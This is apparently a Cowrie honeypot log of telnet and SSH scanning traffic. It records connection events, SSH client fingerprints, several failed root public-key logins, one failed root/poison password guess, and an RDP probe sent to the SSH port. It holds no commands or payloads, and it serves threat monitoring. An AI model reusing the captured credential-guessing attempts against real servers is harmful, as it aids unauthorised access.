{"eventid":"cowrie.session.closed","duration":120.00269556045532,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:36.417808Z","src_ip":"152.42.224.71","session":"3ca649b06776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.206745147705078,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:37.688551Z","src_ip":"152.42.224.71","session":"32a54a60d117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.6953763961792,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:38.747906Z","src_ip":"152.42.224.71","session":"7d1958f18913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43210,"dst_ip":"10.17.0.5","dst_port":23,"session":"725cd4af524e","protocol":"telnet","message":"New connection: 152.42.224.71:43210 (10.17.0.5:23) [session: 725cd4af524e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:45.233982Z"}
{"eventid":"cowrie.session.closed","duration":27.90714693069458,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:49.609993Z","src_ip":"152.42.224.71","session":"6f31d38803b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.810352087020874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:50.300740Z","src_ip":"152.42.224.71","session":"5bfaa584cd47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45534,"dst_ip":"10.17.0.5","dst_port":23,"session":"d259afd0576c","protocol":"telnet","message":"New connection: 152.42.224.71:45534 (10.17.0.5:23) [session: d259afd0576c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:52.235118Z"}
{"eventid":"cowrie.session.closed","duration":36.70597219467163,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:55.259065Z","src_ip":"152.42.224.71","session":"9e667f940021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34102,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f79ce0c5fd0","protocol":"telnet","message":"New connection: 152.42.224.71:34102 (10.17.0.5:23) [session: 1f79ce0c5fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:57.945426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34114,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f43f09beb9","protocol":"telnet","message":"New connection: 152.42.224.71:34114 (10.17.0.5:23) [session: d2f43f09beb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:58.015061Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34120,"dst_ip":"10.17.0.5","dst_port":23,"session":"d23a5532519f","protocol":"telnet","message":"New connection: 152.42.224.71:34120 (10.17.0.5:23) [session: d23a5532519f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:05.445145Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34410,"dst_ip":"10.17.0.5","dst_port":23,"session":"4abdabacbcc0","protocol":"telnet","message":"New connection: 152.42.224.71:34410 (10.17.0.5:23) [session: 4abdabacbcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:12.230134Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48570,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdd7759e5ece","protocol":"telnet","message":"New connection: 152.42.224.71:48570 (10.17.0.5:23) [session: fdd7759e5ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:24.814405Z"}
{"eventid":"cowrie.session.closed","duration":54.304051876068115,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:27.168632Z","src_ip":"152.42.224.71","session":"4f7b9c37589c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.34","src_port":53004,"dst_ip":"10.17.0.5","dst_port":22,"session":"575b58fd9781","protocol":"ssh","message":"New connection: 188.44.20.34:53004 (10.17.0.5:22) [session: 575b58fd9781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:31.611868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:31.616405Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:31.759049Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57781,"dst_ip":"159.203.135.109","dst_port":22,"session":"3101a58fd121","protocol":"ssh","message":"New connection: 152.42.212.128:57781 (159.203.135.109:22) [session: 3101a58fd121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.514186Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.518843Z","src_ip":"152.42.212.128","session":"3101a58fd121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.522389Z","src_ip":"152.42.212.128","session":"3101a58fd121","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:cb:20:b8:57:14:aa:1a:e4:5f:cc:12:c4:33:0a:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6fhvSgUOhVWGCTxoNRY0nPvHfrQHT+FdXii+f7shOTgPhezPG1G3RQ6X8FriZJtMFwWgx2zioN4PJU4ml5cxtsdqMp8t+qIhY7Q6UNTAMZX2hEFA04YrhwYpiFuWVf1shDDnwDziwX/1jKRyAx6Ue+b7hRwINgtYxy8m1rhK529ZPM4Mc/awb5IBxCUN4EuS77ewNI7U4c+coc+4D49YlCVYaPRbYPW8fEIuisk8ZB9MQL+L/99amDHgm6+fhmaCA62YLPFqWS0NpuqS8KCDu49mjFEXBL1wlna6QBoahXRTueCOUgAKihbqDRes0lxOqqOPWh3HDGF7pYvbLlZQx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:cb:20:b8:57:14:aa:1a:e4:5f:cc:12:c4:33:0a:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.554609Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:cb:20:b8:57:14:aa:1a:e4:5f:cc:12:c4:33:0a:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6fhvSgUOhVWGCTxoNRY0nPvHfrQHT+FdXii+f7shOTgPhezPG1G3RQ6X8FriZJtMFwWgx2zioN4PJU4ml5cxtsdqMp8t+qIhY7Q6UNTAMZX2hEFA04YrhwYpiFuWVf1shDDnwDziwX/1jKRyAx6Ue+b7hRwINgtYxy8m1rhK529ZPM4Mc/awb5IBxCUN4EuS77ewNI7U4c+coc+4D49YlCVYaPRbYPW8fEIuisk8ZB9MQL+L/99amDHgm6+fhmaCA62YLPFqWS0NpuqS8KCDu49mjFEXBL1wlna6QBoahXRTueCOUgAKihbqDRes0lxOqqOPWh3HDGF7pYvbLlZQx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.558148Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35032,"dst_ip":"10.17.0.5","dst_port":23,"session":"398134926f3a","protocol":"telnet","message":"New connection: 152.42.224.71:35032 (10.17.0.5:23) [session: 398134926f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.660455Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:d7:2c:c5:32:fa:f2:c2:cd:c1:b9:0f:5a:be:ca:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0rXS2gpdyTAhMuA9nfxKrAChb9i1Ue9J5l9uk+ZhYU4KigSmLN/9BT8QLu139pSaKC/fOzg6cRYpqUZo6m9pZ+T7OORll0ja5u9MTThNXKLlevyQ+cGtBc/nhrK/HW7Kc8nwWEPwjDmXp9qH33MbdOyzj2++CZ6ZG0FTuQJsXda1rJ+02T/UGEco3FXVJzi1GywAgTxzDUN1f2+czEVPXIs6/ml/HZubaf2mAs3EU1HruH6tqFioNOcAwaxKq/Lvx5OqVXs7y8B6duvPIzhTP7gP1hOzYXYnO7e1jZRNipb424m9lhuIpJVQCfqA6DSnSkR7ycNdtvz3ctbrKc6mRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:d7:2c:c5:32:fa:f2:c2:cd:c1:b9:0f:5a:be:ca:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.701430Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:d7:2c:c5:32:fa:f2:c2:cd:c1:b9:0f:5a:be:ca:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0rXS2gpdyTAhMuA9nfxKrAChb9i1Ue9J5l9uk+ZhYU4KigSmLN/9BT8QLu139pSaKC/fOzg6cRYpqUZo6m9pZ+T7OORll0ja5u9MTThNXKLlevyQ+cGtBc/nhrK/HW7Kc8nwWEPwjDmXp9qH33MbdOyzj2++CZ6ZG0FTuQJsXda1rJ+02T/UGEco3FXVJzi1GywAgTxzDUN1f2+czEVPXIs6/ml/HZubaf2mAs3EU1HruH6tqFioNOcAwaxKq/Lvx5OqVXs7y8B6duvPIzhTP7gP1hOzYXYnO7e1jZRNipb424m9lhuIpJVQCfqA6DSnSkR7ycNdtvz3ctbrKc6mRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.705042Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:9a:4d:38:a9:ee:a7:e8:cb:aa:d9:37:92:a5:8a:9f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJuV4inWEG3qIemlwjzURqty/PjuOiBQuVmnrx3hEtcF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e2:9a:4d:38:a9:ee:a7:e8:cb:aa:d9:37:92:a5:8a:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.846060Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:9a:4d:38:a9:ee:a7:e8:cb:aa:d9:37:92:a5:8a:9f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJuV4inWEG3qIemlwjzURqty/PjuOiBQuVmnrx3hEtcF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:32.848442Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:71:0b:0d:0b:4b:64:63:b0:71:6e:a4:1c:a4:ad:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWQ/utOrzLRUvVrbQPt/cEP1dHAMAzQIQcHMFgGGk+TtMNRh1SjPfltZAvjb8iiK6T/BTA+eu0qNe/QzoZ3qVd+CO7ZlzVAY69eUNYRIG7vmxVvnUvLwxru5y2ZBJQ2MHbnAv1i1JHFLr7Bbzg/D5dBKonDoiKy/aqHJ0MQ4isJ9R0uEyH2tza7VAO9MfmQdqoLcDNaVE6OlQZ9IWLLaDQ/CD/rCzMJ3Oldnq41kR0WW6Kv+CuVFWzv/bNNpcCBa9cyeYV66HLUPFlCGypvz5noShAZt+yr+dFRCfwAZIT4wYjzqM3ETRHsCcFEy49Erfsn0cxnc4CexguY2VoWoZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:71:0b:0d:0b:4b:64:63:b0:71:6e:a4:1c:a4:ad:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:33.078731Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:71:0b:0d:0b:4b:64:63:b0:71:6e:a4:1c:a4:ad:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWQ/utOrzLRUvVrbQPt/cEP1dHAMAzQIQcHMFgGGk+TtMNRh1SjPfltZAvjb8iiK6T/BTA+eu0qNe/QzoZ3qVd+CO7ZlzVAY69eUNYRIG7vmxVvnUvLwxru5y2ZBJQ2MHbnAv1i1JHFLr7Bbzg/D5dBKonDoiKy/aqHJ0MQ4isJ9R0uEyH2tza7VAO9MfmQdqoLcDNaVE6OlQZ9IWLLaDQ/CD/rCzMJ3Oldnq41kR0WW6Kv+CuVFWzv/bNNpcCBa9cyeYV66HLUPFlCGypvz5noShAZt+yr+dFRCfwAZIT4wYjzqM3ETRHsCcFEy49Erfsn0cxnc4CexguY2VoWoZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:33.082721Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:67:31:e6:59:b1:8e:ee:9b:04:71:21:3f:23:e7:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8NVCrMbToc4pn1zLRTTv8z/kalT/8FSw1IloVnX0ovRwHmefdOTRplwz5kJXW5GAGOV7aeUKVftwB/Wr9EtiyaHWOS6jFRibAZSqlNfhJsDjK7gZaSkyi1fuvHdbNTr1f8N65nKgnXnaN0Z/RQFDtz21yvtR54cKMLDgPXEwFbT7bmsm+0G6F++oJf+73cOSuR9FfYF8ziBAxhXvtBzT6V7/3/QNLUqTaLEDYRDLdB+fNeTJ7kv+j14wFwNmgTRaF+c/qESCi+2Af+FPaz+JRrg20umZLDTmGAfOME+zszaWQ3ItRhAdo5w1ABAr8jl/ue7fKjCYX3u39jIIFqpep","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:67:31:e6:59:b1:8e:ee:9b:04:71:21:3f:23:e7:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:33.224789Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:67:31:e6:59:b1:8e:ee:9b:04:71:21:3f:23:e7:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8NVCrMbToc4pn1zLRTTv8z/kalT/8FSw1IloVnX0ovRwHmefdOTRplwz5kJXW5GAGOV7aeUKVftwB/Wr9EtiyaHWOS6jFRibAZSqlNfhJsDjK7gZaSkyi1fuvHdbNTr1f8N65nKgnXnaN0Z/RQFDtz21yvtR54cKMLDgPXEwFbT7bmsm+0G6F++oJf+73cOSuR9FfYF8ziBAxhXvtBzT6V7/3/QNLUqTaLEDYRDLdB+fNeTJ7kv+j14wFwNmgTRaF+c/qESCi+2Af+FPaz+JRrg20umZLDTmGAfOME+zszaWQ3ItRhAdo5w1ABAr8jl/ue7fKjCYX3u39jIIFqpep","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:33.228983Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:33.370631Z","src_ip":"188.44.20.34","session":"575b58fd9781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35042,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca393a64e10","protocol":"telnet","message":"New connection: 152.42.224.71:35042 (10.17.0.5:23) [session: dca393a64e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:33.488536Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35058,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac192996a5de","protocol":"telnet","message":"New connection: 152.42.224.71:35058 (10.17.0.5:23) [session: ac192996a5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:34.685096Z"}
{"eventid":"cowrie.session.closed","duration":44.16529679298401,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:36.400322Z","src_ip":"152.42.224.71","session":"d259afd0576c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57816,"dst_ip":"10.17.0.5","dst_port":23,"session":"0417204294f1","protocol":"telnet","message":"New connection: 152.42.224.71:57816 (10.17.0.5:23) [session: 0417204294f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:36.778139Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57830,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead0d8c54a7c","protocol":"telnet","message":"New connection: 152.42.224.71:57830 (10.17.0.5:23) [session: ead0d8c54a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:37.776828Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57846,"dst_ip":"10.17.0.5","dst_port":23,"session":"643ddb1a427d","protocol":"telnet","message":"New connection: 152.42.224.71:57846 (10.17.0.5:23) [session: 643ddb1a427d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:39.601901Z"}
{"eventid":"cowrie.session.closed","duration":120.00120210647583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:40.123790Z","src_ip":"152.42.224.71","session":"6d63da25d147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.42285466194153,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:41.368201Z","src_ip":"152.42.224.71","session":"1f79ce0c5fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12713122367859,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:41.572225Z","src_ip":"152.42.224.71","session":"d23a5532519f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41266,"dst_ip":"159.203.135.109","dst_port":22,"session":"266de99c2931","protocol":"ssh","message":"New connection: 193.37.70.224:41266 (159.203.135.109:22) [session: 266de99c2931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:42.510940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:42.518806Z","src_ip":"193.37.70.224","session":"266de99c2931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:42.608404Z","src_ip":"193.37.70.224","session":"266de99c2931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poison","message":"login attempt [root/poison] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:42.877765Z","src_ip":"193.37.70.224","session":"266de99c2931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:43.970813Z","src_ip":"193.37.70.224","session":"266de99c2931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43036,"dst_ip":"10.17.0.5","dst_port":23,"session":"dae6df798861","protocol":"telnet","message":"New connection: 152.42.224.71:43036 (10.17.0.5:23) [session: dae6df798861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:47.764131Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43040,"dst_ip":"10.17.0.5","dst_port":23,"session":"84f444d405dc","protocol":"telnet","message":"New connection: 152.42.224.71:43040 (10.17.0.5:23) [session: 84f444d405dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:51.435893Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b449fa1003ac","protocol":"telnet","message":"New connection: 152.42.224.71:57476 (10.17.0.5:23) [session: b449fa1003ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:56.269051Z"}
{"eventid":"cowrie.session.closed","duration":46.394474029541016,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:29:58.624493Z","src_ip":"152.42.224.71","session":"4abdabacbcc0","protocol":"telnet"}
